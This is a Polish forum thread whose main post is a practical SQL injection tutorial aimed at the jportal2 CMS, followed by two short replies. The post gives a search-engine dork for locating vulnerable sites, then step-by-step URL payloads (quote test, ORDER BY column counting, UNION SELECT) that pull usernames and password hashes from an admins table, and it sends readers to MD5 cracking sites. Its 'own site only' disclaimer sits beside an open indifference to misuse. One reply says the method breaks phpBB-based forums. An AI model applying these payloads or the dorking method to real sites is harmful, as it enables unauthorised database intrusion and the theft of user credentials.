Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[Poradnik]Włam Do Sql Wybranego Przez Siebie Serwera .


3rr0xxxxxD

Rekomendowane odpowiedzi

Opublikowano

Cześć .

Dzisiaj chciałbym wam pokazać poradnik ,dzięki któremu przez stronę WWW do sql dojdziecie w sposób nie trudny . Oczywiście żeby było legalnie robcie to na swoich.. zeby nie niszczyc nikomu ; >

a co z ta wiedza zrobicie to mnie nie obchodzi : * . No to do dzieła .

[*]Atak SQL Injection - w praktyce ! Sposoby zabezpieczeń przed atakiem sql. Sprawdzamy podatność strony na atak i ukazujemy słabość skryptu.

Zastanawiałem się czy napisać ten artykuł czy nie napisać ; ) Zdecydowałem się go napisać - zresztą w internecie o tego typu rzeczach jest bardzo dużo. Chciałbym tutaj przedstawić sposób na sprawdzenie czy nasza - podkreślam nasza - strona internetowa jest dobrze zabezpieczona. Posłużymy się tutaj tzw. atakiem "sql injection". Ale wszystko po kolei - będzie to prosty tutorial - nie będę się wgłębiał w szczegóły - ale myślę, że wszystko zrozumiesz. Pamiętaj, że materiały tutaj dostępne są wyłącznie w celach edukacyjnych (zgodnych z prawem) ! Możesz sprawdzić ich działanie wyłącznie na własnej stronie - w ten sposób poznasz mechanizm działania tego ataku i ewentualnie ustrzeżesz się przed nim.

 

1. Coś na początek :

 

Wejdźmy na stronę : http://www.idg.pl/news/135808/Dziesiatki.tysiecy.serwisow.padlo.ofiara.ataku.typu.SQL.Injection.html

jak sami zobaczycie - atak sql injection jest bardzo niebezpieczny a w internecie aż roi się od słabo zabezpieczonych stron ! Są to nie tylko prywatne strony, ale co gorsza zdarzają się że są to ważne urzędy państwowe. Dobrze gdy znajdzie się ktoś kto powiadomi o słabym zabezpieczeniu strony - ale gorzej gdy ktoś to wykorzysta np. wykradając hasła użytkowników lub co gorsza jakieś konta bankowe itp...

 

2. Czym jest Sql Injection :

 

Posłużę się tutaj trochę wikipedią - chodzi mniej więcej o to, że część stron jest słabo filtrowana. Dzięki temu możemy o niej wstrzyknąć jakiś kod (*zapytanie), który zostanie przez skrypt serwera(*bazę danych) zrealizowany.

Dla przykładu (dla tych którzy znają trochę zasad z logiki):

- przypomnę, że w logice - zdania logiczne przyjmują wartości (tak jak w informatyce system 2-owy) zera oraz 1

Czyli mając np. w bazie coś takiego (logowanie) :

Nazwa użytkownika =' ... ' - gdzie w miejsce wykropkowane normalnie wpisujemy login/hasło

Nazwa użytkownika='admin' - możemy tak wpisać, ale nie wiemy czy taki użytkownik istnieje, możemy się posłużyć zapytaniem "or" - gdzie w przypadku gdy jedno zdanie jest prawdziwe, to całe zapytanie jest prawdziwe np.

Nazwa użytkownika='admin' or '1'='1' - zdanie/zapytanie to będzie zawsze prawdziwe, wiemy że or oznacza "lub" - a zdanie 1=1 jest na 100% prawdziwe. Podobnie można zrobić z hasłem dzięki temu zalogujemy się np. na konto admina

 

Wygląda to mniej więcej tak : http://pl.wikipedia.org/wiki/SQL_injection

 

 

2. Do rzeczy - jak to wygląda w praktyce :

 

Nikt nie lubi czytać długich teorii więc przejdę do rzeczy - będzie to przykład błędu dla cms'a jportal2 .

W jportalu2 znaleziono lukę w skrypcie do pisania artykułów, więc nasz kod będziemy właśnie w tych miejscach wstrzykiwać.

Znajdujemy więc nasz cel wpisując np.w google zapytanie (*oczywiście musi to być nasza strona)

+"jportal2" +inurl:"articles.php?topic="

Wchodzimy na tą stronę i widzimy mniej więcej taki link :

www.nazwa.pl/articles.php?topic=1

Teraz aby sprawdzić czy nasza strona jest słabo filtrowana a tym samym podatna na sql injection - dodajemy średnik na końcu linku w przeglądarce a więc :

www.nazwa.pl/articles.php?topic=1'

 

Jeżeli pojawi się komunikat w stylu : "Warning mysql_fetch_array...." - to znaczy, że strona jest podatna na atak(*mamy duże prawdopodobieństwo udanego ataku).

 

Teraz czas na zapytanie " order by " aby sprawdzić ile tabel liczy baza :

Aby nam było lepiej dostrzec różnicę pomiędzy zmianami na stronie (pojawią się małe cyferki), to w miejsce "topic= " - wpiszemy w linku nie istniejący artykuł np.

www.nazwa.pl/articles.php?topic=-1

lub

www.nazwa.pl/articles.php?topic=-9999999

 

Teraz piszemy zapytanie order by :

www.nazwa.pl/articles.php?topic=-1+order+by+1--

Jeżeli nie ma błędu to podnosimy liczbę :

www.nazwa.pl/articles.php?topic=-1+order+by+2--

Nadal nic....

www.nazwa.pl/articles.php?topic=-1+order+by+6--

Błąd !! A więc tabel jest mniej niż 6 - sprawdźmy dla pięciu :

www.nazwa.pl/articles.php?topic=-1+order+by+5--

Bingo. W jportalu2 przeważnie mamy 5 tabel Nie ma błędu !

 

Teraz sprawdzimy do jakiej kolumny możemy się wstrzelić. Będą się tutaj pojawiać takie małe cyferki - warto ich szukać ! Są to takie małe pojedyńcze cyferki np. 2 albo 4 itp...

A więc wpisujemy jako link w oknie przeglądarki polecenie "union select" :

www.nazwa.pl/articles.php?topic=-1+union+select+1,2,3,4,5--

Szukamy samotnej cyferki i w zależności od tego co nam wyskoczy - wstrzykujemy się w tą kolumnę np.

- gdy pojawiła się 3

www.nazwa.pl/articles.php?topic=-1+order+by+1,2,zapytanie,4,5--

- gdy pojawiła się 4

www.nazwa.pl/articles.php?topic=-1+order+by+1,2,3,zapytanie,5--

- gdy mamy 1

www.nazwa.pl/articles.php?topic=-1+order+by+zapytanie,2,3,4,5--

Teraz jeżeli chcemy poznać np. hasła i nazwy użytkowników wpisujemy takie zapytanie (dla przykładu gdy pojawiła się 3) :

www.nazwa.pl/articles.php?topic=-1+order+by+1,2,nick,4,5+from+admins--

oraz

www.nazwa.pl/articles.php?topic=-1+order+by+1,2,pass,4,5+from+admins--

Pierwszy link wyciąga z bazy danych z tabeli admins kolumnę z użytkownikami. W wyniku dostaniemy nazwy użytkowników.

Drugi link wyciąga hasła z tej samej tabeli jak wyżej.

 

Wpisałem tutaj nick,pass oraz +from+admins - co to jest i skąd się to wzięło ?

Nick oraz Pass są to nazwy kolumn - przeważnie gdy chodzi o logowanie użytkowników to w bazie danych hasła są zapisane w nazwie kolumny "pass" a nicki w nazwie "nick".

Oczywiście może tam być np. password oraz nicks czy też haslo oraz loginy !

Na tym etapie(*twojej wiedzy z tego zakresu) to metoda prób i błędów co się powiedzie :) Ale w przypadku jportal2 standardowo jest tak jak napisałem wyżej.

Stąd pewnie już wiesz skąd wytrzasnąłem +from+admins - to jest nazwa skąd będziemy wyciągać nasze dane (+z+nazwa) - from (skąd)+(nazwa) - w tym przypadku admins.

 

Istnieje także metoda sprawdzania jakie są inne nazwy tabel itp.. oraz metoda wyciągania loginów i haseł za pierwszym razem w jednym zapytaniu - ale o tym może innym razem :)

 

Hasła będą przeważnie zakodowane (ale nie zawsze) w kodzie md5, musimy je odkodować w google łatwo znaleźć takie rzeczy :) NP. http://www.md5decrypter.com/ , albo wystarczy wpisać ten hash.

 

Co zrobić aby się zabezpieczyć przed atakiem sql injection (*jportal2):

 

Trzeba mieć aktualne wersje skryptu - dlatego są różnego rodzaju poprawki i wychodzą nowe wersje. W przypadku jportal2 warto wejść na http://jportal2.pl/articles.php , gdzie pisze co i jak trzeba wykonać aby się zabezpieczyć. Polecam także http://jportal2.pl/articles.php?id=2. Warto poprawić filtrowanie strony aby proste zapytania typu 1=1 nie przechodziły :)

 

Dla tych którzy będą chcieli się trochę pobawić w sql injection - http://www.sqltest.uw-host.org/ oraz http://www.kacperg333.eu/ - są to strony z zadaniami z wykorzystaniem błędu sql injection !

 

Poproszę +

Opublikowano

Teraz ten atak jest mało skuteczny i poradnik z jakiejś innej strony ściągnięty bo widziałem już go

piotr662.png

progskeet-banner.jpg

NIE PRZERABIAM KONSOL PS3!!!!

Opublikowano

Tym można łatwo rozdupczać fora oparte na php by przemo. Nie wiem jak z innymi silnikami for bo nie testowałem ;d

Ryzen 5 3600 | SPC Grandis 2 | MSI B450 Gamming Plus MAX | Crucial Ballistix Sport LT 2x8GB 3000Mhz CL15 | Palit GTX1070 Super JetStream 8GB | Adata XPG S11P Pro 512GB + Crucial 1TB | SPC Supremo FM2 650W | SPC Pax M70 | Dell U2312Hm + Dell U2413f | Zowie FK1 | CMStrom Quickfire Ultimate Brown | Samsung S21+ | Dell Vostro 3560

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...